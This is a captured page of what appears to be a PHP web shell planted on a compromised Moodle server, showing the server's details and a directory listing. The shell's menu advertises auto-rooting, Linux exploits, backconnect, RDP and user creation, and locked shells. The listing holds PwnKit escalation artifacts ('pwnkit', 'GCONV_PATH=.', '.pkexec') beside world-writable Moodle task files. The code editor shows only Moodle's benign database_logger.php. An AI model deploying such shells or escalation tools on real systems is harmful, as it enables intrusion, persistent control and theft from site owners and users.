Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
classes /
task /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adhoc_task.php
4.31
KB
-rwxrwxrwx
analytics_cleanup_task.php
1.73
KB
-rwxrwxrwx
asynchronous_backup_task.php
3.21
KB
-rwxrwxrwx
asynchronous_copy_task.php
9.11
KB
-rwxrwxrwx
asynchronous_restore_task.php
3.15
KB
-rwxrwxrwx
automated_backup_task.php
1.65
KB
-rwxrwxrwx
backup_cleanup_task.php
2.5
KB
-rwxrwxrwx
badges_cron_task.php
3.14
KB
-rwxrwxrwx
badges_message_task.php
2.17
KB
-rwxrwxrwx
blog_cron_task.php
2.16
KB
-rwxrwxrwx
build_installed_themes_task.ph...
1.73
KB
-rwxrwxrwx
cache_cleanup_task.php
1.38
KB
-rwxrwxrwx
cache_cron_task.php
1.33
KB
-rwxrwxrwx
calendar_cron_task.php
2.19
KB
-rwxrwxrwx
calendar_fix_orphaned_events.p...
2.63
KB
-rwxrwxrwx
check_for_updates_task.php
1.6
KB
-rwxrwxrwx
clean_up_deleted_search_area_t...
1.71
KB
-rwxrwxrwx
complete_plans_task.php
1.89
KB
-rwxrwxrwx
completion_daily_task.php
6.2
KB
-rwxrwxrwx
completion_regular_task.php
8.12
KB
-rwxrwxrwx
context_cleanup_task.php
1.64
KB
-rwxrwxrwx
course_backup_task.php
4.05
KB
-rwxrwxrwx
create_contexts_task.php
1.54
KB
-rwxrwxrwx
database_logger.php
5.46
KB
-rwxrwxrwx
delete_incomplete_users_task.p...
2.58
KB
-rwxrwxrwx
delete_unconfirmed_users_task....
2.12
KB
-rwxrwxrwx
file_temp_cleanup_task.php
4.24
KB
-rwxrwxrwx
file_trash_cleanup_task.php
1.44
KB
-rwxrwxrwx
grade_cron_task.php
3.15
KB
-rwxrwxrwx
grade_history_cleanup_task.php
2.09
KB
-rwxrwxrwx
h5p_get_content_types_task.php
2.21
KB
-rwxrwxrwx
legacy_plugin_cron_task.php
7.59
KB
-rwxrwxrwx
logging_trait.php
3.13
KB
-rwxrwxrwx
logmanager.php
9.82
KB
-rwxrwxrwx
manager.php
34.77
KB
-rwxrwxrwx
messaging_cleanup_task.php
2.72
KB
-rwxrwxrwx
password_reset_cleanup_task.ph...
1.95
KB
-rwxrwxrwx
plagiarism_cron_task.php
2.25
KB
-rwxrwxrwx
portfolio_cron_task.php
2.91
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
question_preview_cleanup_task....
2.83
KB
-rwxrwxrwx
question_stats_cleanup_task.ph...
2.11
KB
-rwxrwxrwx
refresh_mod_calendar_events_ta...
2.74
KB
-rwxrwxrwx
registration_cron_task.php
1.37
KB
-rwxrwxrwx
scheduled_task.php
12.4
KB
-rwxrwxrwx
search_index_task.php
2.27
KB
-rwxrwxrwx
search_optimize_task.php
1.76
KB
-rwxrwxrwx
send_failed_login_notification...
7.96
KB
-rwxrwxrwx
send_new_user_passwords_task.p...
3.25
KB
-rwxrwxrwx
session_cleanup_task.php
1.76
KB
-rwxrwxrwx
stats_cron_task.php
2
KB
-rwxrwxrwx
sync_plans_from_template_cohor...
2.24
KB
-rwxrwxrwx
tag_cron_task.php
11.28
KB
-rwxrwxrwx
task_base.php
3.87
KB
-rwxrwxrwx
task_log_cleanup_task.php
1.64
KB
-rwxrwxrwx
task_logger.php
2.36
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : database_logger.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Database logger for task logging. * * @package core * @copyright 2018 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\task; defined('MOODLE_INTERNAL') || die(); /** * Database logger for task logging. * * @copyright 2018 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class database_logger implements task_logger { /** @var int Type constant for a scheduled task */ const TYPE_SCHEDULED = 0; /** @var int Type constant for an adhoc task */ const TYPE_ADHOC = 1; /** * Whether the task is configured and ready to log. * * @return bool */ public static function is_configured() : bool { return true; } /** * Store the log for the specified task. * * @param task_base $task The task that the log belongs to. * @param string $logpath The path to the log on disk * @param bool $failed Whether the task failed * @param int $dbreads The number of DB reads * @param int $dbwrites The number of DB writes * @param float $timestart The start time of the task * @param float $timeend The end time of the task */ public static function store_log_for_task(task_base $task, string $logpath, bool $failed, int $dbreads, int $dbwrites, float $timestart, float $timeend) { global $DB; // Write this log to the database. $logdata = (object) [ 'type' => is_a($task, scheduled_task::class) ? self::TYPE_SCHEDULED : self::TYPE_ADHOC, 'component' => $task->get_component(), 'classname' => get_class($task), 'userid' => 0, 'timestart' => $timestart, 'timeend' => $timeend, 'dbreads' => $dbreads, 'dbwrites' => $dbwrites, 'result' => (int) $failed, 'output' => file_get_contents($logpath), ]; if (is_a($task, adhoc_task::class) && $userid = $task->get_userid()) { $logdata->userid = $userid; } $logdata->id = $DB->insert_record('task_log', $logdata); } /** * Whether this task logger has a report available. * * @return bool */ public static function has_log_report() : bool { return true; } /** * Get any URL available for viewing relevant task log reports. * * @param string $classname The task class to fetch for * @return \moodle_url */ public static function get_url_for_task_class(string $classname) : \moodle_url { global $CFG; return new \moodle_url("/{$CFG->admin}/tasklogs.php", [ 'filter' => $classname, ]); } /** * Cleanup old task logs. */ public static function cleanup() { global $CFG, $DB; // Delete logs older than the retention period. $params = [ 'retentionperiod' => time() - $CFG->task_logretention, ]; $logids = $DB->get_fieldset_select('task_log', 'id', 'timestart < :retentionperiod', $params); self::delete_task_logs($logids); // Delete logs to retain a minimum number of logs. $sql = "SELECT classname FROM {task_log} GROUP BY classname HAVING COUNT(classname) > :retaincount"; $params = [ 'retaincount' => $CFG->task_logretainruns, ]; $classes = $DB->get_fieldset_sql($sql, $params); foreach ($classes as $classname) { $notinsql = ""; $params = [ 'classname' => $classname, ]; $retaincount = (int) $CFG->task_logretainruns; if ($retaincount) { $keeplogs = $DB->get_records('task_log', [ 'classname' => $classname, ], 'timestart DESC', 'id', 0, $retaincount); if ($keeplogs) { list($notinsql, $params) = $DB->get_in_or_equal(array_keys($keeplogs), SQL_PARAMS_NAMED, 'p', false); $params['classname'] = $classname; $notinsql = " AND id {$notinsql}"; } } $logids = $DB->get_fieldset_select('task_log', 'id', "classname = :classname {$notinsql}", $params); self::delete_task_logs($logids); } } /** * Delete task logs for the specified logs. * * @param array $logids */ public static function delete_task_logs(array $logids) { global $DB; if (empty($logids)) { return; } $chunks = array_chunk($logids, 1000); foreach ($chunks as $chunk) { $DB->delete_records_list('task_log', 'id', $chunk); } } }
Close